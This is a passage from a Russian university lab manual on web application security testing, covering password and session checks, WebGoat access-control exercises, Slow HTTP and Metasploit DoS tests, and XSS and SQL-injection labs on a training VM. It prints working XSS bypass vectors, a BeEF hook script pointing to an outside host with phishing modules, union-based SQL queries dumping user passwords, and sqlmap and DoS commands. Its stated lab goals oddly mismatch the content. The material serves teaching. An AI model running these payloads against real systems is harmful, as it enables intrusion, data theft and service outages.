Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля. Для этого следует ввести несуществующее имя пользователя (например, qawsedrfl234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль».

Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5–10 раз). После этого ввести правильный пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5–10). Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие временные задержки или средства антиавтоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории. Запрещение кэширования определяется наличием HTTP-заголовков Pragma, CacheControl и Expires со следующими рекомендованными значениями:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate,
max-age=0

Expires: -1

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин:

«guest», пароль: «guest».

Перейти по ссылке «Access Control Flaws → Bypass a Path Based Access Control». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение AccessControlMatrix.html на ../../main.jsp. Нажать кнопку «View File». Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент `<input type="submit" value="ViewProfile" name="action">` на элемент `<input type="submit" value="DeleteProfile" name="action">`

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль пользователя будет удален. Опционально решить задачу «LAB: Role Based Access Control → Stage 2». Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи.

Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля.

Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент `<option value="105" selected="">Tom Cat (employee)</option>` на элемент `<option value="103" selected="">Tom Cat (employee)</option>`

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя Curly Stooze.

Опционально решить задачу «LAB: Role Based Access Control → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «Admin Functions». Перейти по ссылке `WebGoat/attack?Screen=86&menu=200&admin=true`. Просмотреть подменю «Admin Functions».

Задание № 2. Изучить рекомендации к защищенной реализации механизма хранения паролей.

Исследовать механизм восстановления паролей выбранного веб-приложения.

Задание № 3. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

Задание № 4. Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения `www.test.app.com`. Просмотреть Cookie, определить, создается ли сессия для неаутентифицированных (анонимных) пользователей.

Шаг 2. Ввести корректные логин и пароль. Определить, что используется в качестве транспорта для передачи идентификатора сессии. Если для этого используется механизм Cookie, то определить имена cookie, их атрибуты (Secure, HttpOnly, Domain, Path, Expires) и значения.

Проанализировать адекватность используемых атрибутов Cookie.

Шаг 3. Проанализировать имя идентификатора сессии, его структуру и значение, определить, используется ли кодирование или шифрование данных. Используя инструмент Sequencer в Burp Suite, проанализировать вероятностные характеристики последовательности идентификаторов сессий. Сделать вывод о соответствии реализации функции генерации идентификаторов требованиям безопасности. Сделать вывод о возможности использования атаки грубой силы для генерации сессионного идентификатора пользователя.

Шаг 4. Проверить аннулируемость сессии на серверной стороне. Сохранить Cookie в веббраузере (можно использовать расширение Export Cookies), выйти из приложения. Импортировать сохраненные ранее Cookie в браузер (можно использовать расширение Import Cookies). Перейти по любому адресу веб-

приложения. Если вы попадете в предыдущую сессию, то это означает, что аннулирование сессии происходит только на клиенте. Проверить, что пользователь может завершить свою сессию в любой момент времени – каждая страница, доступная после аутентификации, содержит ссылку типа «Sign out», позволяющую завершить сессию. Проверить, какие механизмы таймаутов реализованы в веб-приложении.

Шаг 5. Проверить возможность выполнения атаки типа «Фиксация сессии». Для этого проверить наличие следующего недостатка: веб-приложение не обновляет сессионный идентификатор, отправленный браузером пользователя, после успешной аутентификации последнего. Отправить запрос веб-приложению и получить сессионный идентификатор в Cookie:

```
GET / HTTP/1.1
```

```
Host: www.test.app.com
```

```
\r\n
```

```
Получить и проанализировать ответ
```

```
HTTP/1.1 200 OK
```

```
Date: Wed, 14 Aug 2008 08:45:11 GMT
```

```
Server: IBM_HTTP_Server
```

```
Set-Cookie: ID=d8eyYq3L0z2fgq10m4v; Path=/; secure
```

```
Аутентифицироваться, используя запрос с полученным идентификатором ID:
```

```
POST https://www.test.app.com/auth HTTP/1.1
```

```
Host: www.test.app.com
```

```
Cookie: ID=d8eyYq3L0z2fgq10m4v
```

```
\r\n
```

```
user=test&password=Zz123456
```

Если аутентификация прошла успешно, то приложение уязвимо к атаке фиксации сессии. Дополнительно убедиться, что идентификатор сессии передается только в Cookie и не раскрывается в лог-файлах, сообщениях об ошибках, URL и т.д.

Шаг 7. Проверить, что идентификатор сессии меняется после повторной аутентификации, смены пароля, роли и т.д.

Шаг 8. Проверить, что веб-приложение не позволяет иметь две одинаковые сессии с двух разных узлов сети.

Задание № 5. Предложить сценарий атаки, использующий недостаток аннулирования сессии только на клиентской стороне веб-приложения.

Задание № 6. Используя поисковые системы (Google, Shodan), найти веб-приложения с механизмом URL Rewriting.

Задание № 7. Написать сценарий JavaScript, устанавливающий или считывающий идентификатор сессии пользователя.

Задание № 8. Оформить отчет.

Тема лабораторной работы №3. Тестирование на устойчивость к атакам отказа в обслуживании

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Объем часов 8

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Задание № 1. Выполнить тестирование устойчивости веб-приложения www.test.app.com к

DoS-атакам на уровне протокола HTTP.

Последовательность действий

Шаг 1. Установить программу `slowhttptest`, доступную по URL вида

<https://code.google.com/p/slowhttptest>. Изучить документацию. Запустить сетевой анализатор Wireshark.

Шаг 2. На тестовом стенде, эмулирующем работу веб-сервера www.test.app.com, установить и выполнить базовые настройки для веб-серверов Apache, Nginx и IIS. Запустить веб-сервер Apache.

Шаг 3. Запустить в отношении веб-сервера атаку Slowloris, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -H -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния вебсервера.

Шаг 4. Запустить в отношении веб-сервера атаку Slow HTTP POST, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -B -c 3000 -r 3000 -i 50 -l 6000  
-u http://www.test.app.com
```

Провести несколько тестов с различными параметрами. Построить графики состояния вебсервера.

Шаг 5. Запустить в отношении веб-сервера атаку Slow Read, выбрав файл достаточного размера, просмотреть трассировку соединения, проверить доступность веб-сервера с помощью произвольного браузера:

```
# slowhttptest -X -c 3000 -r 3000 -l 6000 -k 5 -n 50  
-w 1 -y 2 -z 1 -u http://www.test.app.com/bigauth.js
```

Провести несколько тестов с различными параметрами. Построить графики состояния вебсервера.

Шаг 6. Остановить сервер Apache. Запустить сервер Nginx. Прodelать предыдущие шаги в отношении сервера Nginx.

Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Прodelать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header.

Проанализировать результаты. Выполнить команду

```
# slowhttptest -R -u http://www.test.app.com -t GET
```

```
-c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку Apache Range Header с использованием Metasploit Framework:

```
# msfconsole
```

```
> use auxiliary/dos/http/apache_range_dos
```

```
> show options
```

```
> set RHOSTS www.test.app.com
```

```
> set RPORT 80
```

```
> set RLIMIT 100
```

```
> set THREADS 3
```

```
> run
```

Задание № 2. Проанализируйте, как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?

Задание № 3. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.

Задание № 4. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

Задание № 5. Оформить отчет.

Тема лабораторной работы №4. Поиск уязвимостей к атакам XSS

Объем часов 8

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор `<script>alert(1)</script>`

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

`<script>alert(1)</script>`

Убедиться, что слово script фильтруется. Ввести вектор

`<ScRipT>alert(1)</sCrIpT>`

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

`<script>alert(1)</script>`

Убедиться, что слово `<script>` вырезается. Ввести вектор

`<scr<script>ipt>alert(1)</s</script>cript>`

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

`<script>alert(1)</script>`

Убедиться, что слово `<script>` вырезается корректно. Ввести вектор

`<img/src=1 onerror=alert(1)>`

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

`<script>alert(1)</script>`

`<img/src=1 onerror=alert(1)>`

Убедиться, что слово alert вырезается корректно. Ввести вектора

`<img/src=1 onerror=\u0061alert(1)>`

`<img/src=1 onerror=prompt(1)>`

```
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">
```

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

```
";alert(1);"
```

```
</script><script>alert(1);//
```

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

```
";alert(1);"
```

Убедиться, что символ " кодируется в HTML-сущность ". В качестве переменной name ввести вектор '"alert(1);'

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на _____ следующий:

```
xss/example8.php/"onsubmit="alert(1)
```

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке `xss/example9.php#<script>alert(1)</script>`.

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор `<script src="http://1.1.1.1:3000/hook.js"></script>`

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузере и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

- «Create Alert Dialog»;
- «Redirect Browser», перенаправив пользователя на сайт `http://evil.com`;
- «Clickjacking»;
- «Clippy»;
- «Fake Notification Bar»;
- «Google Phishing»;
- «Pretty Theft».

Задание № 2. Выполнить задания по поиску уязвимостей к атакам XSS на сайте `xssgame.appspot.com`.

Задание № 3. Выполнить задания по поиску уязвимостей к атакам XSS на сайте `escape.alf.nu`.

Задание № 4. Выполнить задания по поиску уязвимостей к атакам XSS на сайте `prompt.ml`.

Задание № 5. Оформить отчет

Тема лабораторной работы №5. Поиск уязвимостей к атакам SQL-injection

Объем часов 8

Формируемые умения: У2. Осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Цель лабораторной работы. Научиться осуществлять оптимизацию веб-приложения с целью повышения его рейтинга в сети Интернет

Задание № 1. Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example1.php?name=root'`
- `sqli/example1.php?name=root"`
- `sqli/example1.php?name=root'%20=1`
- `sqli/example1.php?name=root'%20=1#`
- `sqli/example1.php?name=root'%20=1%20–`
- `sqli/example1.php?name=root'%20=1%20/*`
- `sqli/example1.php?name=root'%20'1'='1`
- `sqli/example1.php?name=root'%20'1'='2`
- `sqli/example1.php?name=root'%23sqli`

Последние три запроса позволяют сделать вывод об уязвимости параметра `name` к атаке SQL-injection. Выполнить следующую команду:

```
# python sqlmap.py -p name --dbs=mysql --dump  
-u http://IP_address/sqli/example1.php?name=root
```

Просмотреть результаты работы программы, просмотреть полученные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example2.php?name=root%20and%20=1`
- `sqli/example2.php?name=root'%09and%09'1'='1`
- `sqli/example2.php?name=root'%09and%09'1'='2`
- `sqli/example2.php?name=root'%2b%2b'`

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQLinjection. Запустить sqlmap, убедиться, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example3.php?name=root%20and%201=1`
- `sqli/example3.php?name=root'/**/and/**/'1='1`
- `sqli/example3.php?name=root'/**/and/**/'1='2`
- `sqli/example3.php?name=root'%2b%2b'`

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQLinjection. Запустить sqlmap, убедиться, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- `sqli/example4.php?id=2`
- `sqli/example4.php?id=2'`
- `sqli/example4.php?id=2"`
- `sqli/example4.php?id=1%2b1`
- `sqli/example4.php?id=0%2b2`
- `sqli/example4.php?id=3-1`

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQLinjection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dms=mysql --dump  
-u http://IP_address/sqli/example4.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQLзапроса:

- `sqli/example5.php?id=2`
- `sqli/example5.php?id=2'`
- `sqli/example5.php?id=2"`
- `sqli/example5.php?id=1%2b1`
- `sqli/example5.php?id=0%2b2`
- `sqli/example5.php?id=3-1`

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQLinjection. Выполнить следующую команду:

```
# python sqlmap.py -p id --dms=mysql --dump  
-u http://IP_address/sqli/example5.php?id=1
```

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQLзапроса:

```
- sqli/example6.php?id=2  
- sqli/example6.php?id=2'  
- sqli/example6.php?id=2"  
- sqli/example6.php?id=1%2b1  
- sqli/example6.php?id=0%2b2  
- sqli/example6.php?id=3-1  
- sqli/example6.php?id=5-3
```

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQLinjection. Запустить `sqlmap`, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQLзапроса:

```
- sqli/example7.php?id=2  
- sqli/example7.php?id=2'  
- sqli/example7.php?id=2"  
- sqli/example7.php?id=1%2b1  
- sqli/example7.php?id=3-1  
- sqli/example7.php?id=2%0Aand%201=1  
- sqli/example7.php?id=2%0Aand%201=2  
- sqli/example7.php?id=2%0A%23sqli
```

Последние три запроса позволяют сделать вывод об уязвимости параметра `id` к атаке SQLinjection. Запустить `sqlmap`, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

```
- sqli/example7.php?id=2%0Aunion%20select%201  
- sqli/example7.php?id=2%0Aunion%20select%201,2  
- sqli/example7.php?id=2%0Aunion%20select%201,2,3  
- sqli/example7.php?id=2%0Aunion%20select%201,2,3,4
```

- `sqli/example7.php?id=2%0Aunion%20select%201,2,3,4,5`
- `sqli/example7.php?id=2%0Aunion%20select%20name,passwd,1,1,1 from users`

Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-сценария.

Задание № 3. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании вебприложения, уязвимого к атаке SQL-injection.

Задание № 4. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.

Задание № 5. Оформить отчет.

Общие рекомендации

По всем вопросам, связанным с изучением дисциплины (включая самостоятельную работу), можно проконсультироваться у преподавателя в соответствии с установленным графиком текущих консультаций.

Защита отчета по лабораторной работе заключается в предъявлении преподавателю полученных результатов в виде файлов и напечатанного отчета и демонстрации полученных навыков в ответах на вопросы преподавателя. При сдаче отчета преподаватель может сделать устные и письменные замечания, задать дополнительные вопросы, попросить выполнить отдельные задания, часть работы или всю работу целиком.

Контроль и оценка результатов

Оценка за выполнение лабораторной работы выставляется *по пятибалльной системе* и учитывается как показатель текущей успеваемости студента.

Качественная оценка индивидуальных образовательных достижений		Критерии оценки результата
балл (оценка)	вербальный аналог	
5	отлично	Представленные работы высокого качества, уровень выполнения отвечает всем требованиям, теоретическое содержание курса освоено полностью, без пробелов, необходимые практические навыки работы с освоенным материалом сформированы, выполнены все предусмотренные лабораторной работой задания.
4	хорошо	Уровень выполнения работы отвечает всем требованиям, теоретическое содержание курса

		освоено полностью без пробелов, некоторые практические навыки работы с освоенным материалом сформированы недостаточно, все предусмотренные лабораторной работой задания выполнены, некоторые из выполненных заданий, возможно, содержат ошибки.
3	удовлетворительно	Уровень выполнения работы отвечает большинству основных требований, теоретическое содержание курса освоено частично, но пробелы не носят существенного характера, необходимые практические навыки работы с освоенным материалом в основном сформированы, большинство предусмотренных лабораторной работой заданий выполнено, некоторые виды заданий выполнены с ошибками.
2	не удовлетворительно	Теоретическое содержание курса освоено частично, необходимые практические навыки работы не сформированы, большинство предусмотренных лабораторной работой заданий не выполнено.